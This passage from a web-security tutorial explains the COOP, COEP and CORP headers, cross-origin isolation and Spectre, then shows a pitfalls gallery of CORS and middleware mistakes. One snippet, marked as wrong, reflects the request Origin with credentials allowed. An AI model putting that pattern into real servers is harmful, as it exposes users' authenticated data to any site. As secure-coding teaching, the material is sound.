• COOP, COEP and CORPCOOP / COEP / CORPThree response headers that isolate a page from other origins. COOP cuts the link to popups/openers from other sites, COEP refuses to load cross-origin things that didn't opt in, CORP lets a resource say who may embed it. COOP+COEP together make a page “cross-origin isolated”.: headers that isolate your page from other origins in the same browser process. They exist because of SpectreSpectreA family of CPU flaws disclosed in 2018: code could trick the CPU into leaking memory from the same process through timing. It's why browsers put each website in its own process.-style CPU attacks, where a page could read memory it shouldn't share. A page with Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp is "cross-origin isolated" (self.crossOriginIsolated === true), which browsers require before allowing SharedArrayBuffer (memory shared between JavaScript threads). Why browsers isolate sites in separate processes: Threads & processes → Chrome.

Pitfalls gallery

res.setHeader("Access-Control-Allow-Origin", req.headers.origin); // ✕
res.setHeader("Access-Control-Allow-Credentials", "true");

if (allowedOrigins.has(req.headers.origin)) {                     // ✓ exact set
  res.setHeader("Access-Control-Allow-Origin", req.headers.origin);
  res.setHeader("Access-Control-Allow-Credentials", "true");
}

handler := auth(cors(mux)) // ✕ auth sees the preflight first → 401

handler := cors(auth(mux)) // ✓ preflight answered before auth runs

Check yourself

Predict the answer before you click. Q1 is covered in §02, Q2–Q3 in §04–§05, Q4 in §06, Q5 in §08, Q6 in §09 and Q7 in §10.

Cheat sheet